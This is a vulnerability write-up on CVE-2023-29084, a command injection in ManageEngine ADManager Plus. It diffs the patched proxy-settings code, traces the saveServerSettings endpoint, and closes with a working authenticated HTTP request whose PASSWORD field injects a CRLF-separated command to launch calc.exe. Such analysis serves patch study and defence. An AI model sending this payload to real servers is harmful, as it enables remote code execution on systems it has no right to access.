CVE-2023-29084 Command injection in ManageEngine ADManager Plus
CVE-2023-29084 analysis
Overview
This CVE’s detail is in ManageEngine ADManager Plus ChangePasswordAction Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of ManageEngine ADManager Plus. Authentication is required to exploit this vulnerability.
The specific flaw exists within the ChangePasswordAction function. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the service account.
The patch
The vulnerability has been fixed in version 7181 so I use 2 versions 7180 and 7181 of ManageEngine ADManager Plus to analyze. You can download them from ManageEngine’s archives Only one line was changed in version 7181, it is proxyCommand
variable
In vulnerable version
1
proxyCommand = proxyCommand + "reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyUser /t REG_SZ /d " + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("USER_NAME")) + ";reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyPass /t REG_SZ /d " + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("PASSWORD"));
In patched version
1
proxyCommand = proxyCommand + "$username=\"" + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("USER_NAME")) + "\"; $password=\"" + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("PASSWORD")) + "\"; reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyUser /t REG_SZ /d $username; reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyPass /t REG_SZ /d $password";
This variable is used in saveServerSettings
function of ChangePasswordAction
class
Due to webapps/adsm/WEB-INF/security/security.xml
, this function can be called from /api/json/admin/saveServerSettings
endpoint
so the request to call saveServerSettings
looks like the following
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /api/json/admin/saveServerSettings HTTP/1.1
Host: 10.10.10.99:8080
Content-Length: 199
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://10.10.10.99:8080
Referer: http://10.10.10.99:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en,en-US;q=0.9
Cookie: Account=Administrator; Challenge=2481f9e4334129e05efa9552803367b9; RememberLogin=false; ChangeKey=2023-02-03%2011%3A48%3A20; ChallengeValue=%25u53F0%25u9054%25u96FB%25u5B5049887487802326272827252728222527222528142725262614284229331428422725; InfraSuite-Manager_SystemLang=Lng-EnglishTagList; AllViewLayoutWestisClosed=false; AllViewLayoutWestSize=250; AllViewLayoutPlaneSouthisClosed=false; AllViewLayoutPlaneSouthSize=320; AllViewLayoutDeviceSouthisClosed=true; AllViewLayoutDeviceSouthSize=150; AllViewLayoutSouthisClosed=false; AllViewLayoutSouthSize=90; InfraSuiteManagerLoginMode=1; WebTitle=DIAEnergie; _lang=en-us; token=eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJBY2NvdW50Ijoicm9vdCIsIkV4cCI6IlwvRGF0ZSgxNjgxNDY3MzUzMzEzKVwvIn0.bbQl6FHFEC1DjxC3SytEMePignjyaOElwPmBGVo4DDemYGMErpTlY_umvQux7IzKmneMxq2oudxEz3nxIDx8Ww; JSESSIONID=x11OrR-gBjEf2_qDoPEEeH0t9yeRWWIebWHbInslbsRbxPlaxsO-!1249488777; admpcsrf=cd69dbc4-b07c-489e-9408-fe5324b0919f; _zcsr_tmp=cd69dbc4-b07c-489e-9408-fe5324b0919f; JSESSIONIDADMP=97816D5CEBAADAC4A931F54B07CCD581; JSESSIONIDADSMSSO=FFA1CBA0FB38058DAB76EF485FC5C907
Connection: close
admpcsrf=cd69dbc4-b07c-489e-9408-fe5324b0919f¶ms=PAYLOAD
Let’s construct the params
to get RCE.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
public void saveServerSettings(HttpServletRequest request, HttpServletResponse response) throws Exception {
JSONObject responseObj = new JSONObject();
boolean error = false;
String errorMessage = "";
try {
//////
#1 if (!ClientAuthorizationUtil.isAuthorized(request, AdminConfigConstants.SERVER_ACTION_ID)) {
responseObj.put("isAuthorized", false);
} else {
HttpSession session = request.getSession();
Long loginId = (Long)session.getAttribute("ADMP_SESSION_LOGIN_ID");
#2 JSONArray params = new JSONArray(request.getParameter("params"));
JSONObject mailPropJson = new JSONObject();
#3 for(int i = 0; i < params.length(); ++i) {
JSONObject tab = (JSONObject)params.get(i);
String tabId = tab.get("tabId").toString();
boolean enableProxy;
boolean currLicenseExpiry;
String username;
boolean oldStateDownTime;
String port;
boolean currEventNotif;
if (tabId.equalsIgnoreCase("mail")) {
//////
}
JSONObject retentionDetails;
JSONObject maintainDBdetails;
String serverName;
if (tabId.equalsIgnoreCase("notify")) {
//////
}
JSONObject archiveRetention;
if (tabId.equalsIgnoreCase("retention")) {
//////
}
if (tabId.equalsIgnoreCase("sms")) {
//////
}
#4 if (tabId.equalsIgnoreCase("proxy")) {
enableProxy = tab.getBoolean("ENABLE_PROXY");
archiveRetention = ProxyHandler.getProxySettings();
String existingServerName = archiveRetention.optString("SERVER_NAME", "");
String existingPort = archiveRetention.optString("PORT", "");
String existingUserName = archiveRetention.optString("USER_NAME", "");
String password;
#5 if (enableProxy) {
username = tab.optString("USER_NAME", "");
password = tab.optString("PASSWORD", "");
serverName = tab.optString("SERVER_NAME", "");
port = tab.optString("PORT", "");
if (!existingServerName.equals(serverName) || !existingPort.equals(port) || !existingUserName.equals(username) || !password.isEmpty()) {
try {
JSONObject proxySettings = new JSONObject();
proxySettings.put("SERVER_NAME", serverName);
proxySettings.put("PORT", port);
proxySettings.put("USER_NAME", username);
proxySettings.put("PASSWORD", password);
#6 ProxyHandler.testConnection(proxySettings);
ProxyHandler.setProxySettings(proxySettings, new boolean[0]);
this.setProxySystemProperties(proxySettings);
NativeException ne = new NativeException();
String proxyCommand = "reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /v AutoDetect /t REG_DWORD /d 0 /f;reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyEnable /t REG_DWORD /d 1;reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyServer /t REG_SZ /d " + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("SERVER_NAME")) + ":" + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("PORT")) + ";";
if (!proxySettings.getString("USER_NAME").isEmpty() && !proxySettings.getString("PASSWORD").isEmpty()) {
#7 proxyCommand = proxyCommand + "reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyUser /t REG_SZ /d " + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("USER_NAME")) + ";reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyPass /t REG_SZ /d " + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("PASSWORD"));
}
#8 PSNativeHandler.execPSCommand(proxyCommand, ne);
if (ne.getErrorMessage() != null) {
throw new Exception(ne.getErrorMessage().toString());
}
PSNativeHandler.proxyConfigured = true;
savedSettings.add(rb.getString("admp.admin.server_settings.proxy_settings.tab_name"));
} catch (NumberFormatException var35) {
//////
}
}
} else if (!existingServerName.isEmpty()) {
//////
}
}
}
//////
}
} catch (Exception var41) {
//////
}
response.setContentType("application/json");
PrintWriter writer = response.getWriter();
writer.print(responseObj.toString());
writer.close();
}
- In #1, the server checks whether user is authenticated or not.
- In #2, the backend parses
params
parameter to a json array, and go to every single element of it from #3 - Due to #4, the element has to have attribute
tabId
with valueproxy
- Due to #5, the element has to have attribute
ENABLE_PROXY
with valuetrue
- In #6, the server try to use proxy constructed by
SERVER_NAME
andPORT
from the element and if the proxy use authentication, the server would use the credential fromUSER_NAME
andPASSWORD
. The server will return the error if it cannot connect to proxy. - In #7, the
proxyCommand
append the command constructed byUSER_NAME
andPASSWORD
and this command will be executed in #8
so our RCE payload should be injected to USER_NAME
or PASSWORD
. ADManager use CommonUtil.getPowerShellEscapedValue
to escape all special characters from our USER_NAME
and PASSWORD
see that does not filter CRLF characters, maybe we can used it to end the command and execute another? As expect, i tried the %0d%0a
but it did not work but the \r\n
did.
Our final payload to execute the legendary calc
(remember to change your own proxy)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /api/json/admin/saveServerSettings HTTP/1.1
Host: 10.10.10.99:8080
Content-Length: 183
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://10.10.10.99:8080
Referer: http://10.10.10.99:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en,en-US;q=0.9
Cookie: Account=Administrator; Challenge=2481f9e4334129e05efa9552803367b9; RememberLogin=false; ChangeKey=2023-02-03%2011%3A48%3A20; ChallengeValue=%25u53F0%25u9054%25u96FB%25u5B5049887487802326272827252728222527222528142725262614284229331428422725; InfraSuite-Manager_SystemLang=Lng-EnglishTagList; AllViewLayoutWestisClosed=false; AllViewLayoutWestSize=250; AllViewLayoutPlaneSouthisClosed=false; AllViewLayoutPlaneSouthSize=320; AllViewLayoutDeviceSouthisClosed=true; AllViewLayoutDeviceSouthSize=150; AllViewLayoutSouthisClosed=false; AllViewLayoutSouthSize=90; InfraSuiteManagerLoginMode=1; WebTitle=DIAEnergie; _lang=en-us; token=eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJBY2NvdW50Ijoicm9vdCIsIkV4cCI6IlwvRGF0ZSgxNjgxNDY3MzUzMzEzKVwvIn0.bbQl6FHFEC1DjxC3SytEMePignjyaOElwPmBGVo4DDemYGMErpTlY_umvQux7IzKmneMxq2oudxEz3nxIDx8Ww; JSESSIONID=x11OrR-gBjEf2_qDoPEEeH0t9yeRWWIebWHbInslbsRbxPlaxsO-!1249488777; admpcsrf=cd69dbc4-b07c-489e-9408-fe5324b0919f; _zcsr_tmp=cd69dbc4-b07c-489e-9408-fe5324b0919f; JSESSIONIDADMP=204AD137BC0B510B3FCF03F2155D149D; JSESSIONIDADSMSSO=08C9CDA73E5D21D9A33AADEADB86C650
Connection: close
admpcsrf=cd69dbc4-b07c-489e-9408-fe5324b0919f¶ms=[{"tabId":"proxy","ENABLE_PROXY":true,"SERVER_NAME":"localhost","USER_NAME":"hoangnd","PASSWORD":"asd\r\ncalc.exe","PORT":"8080"}]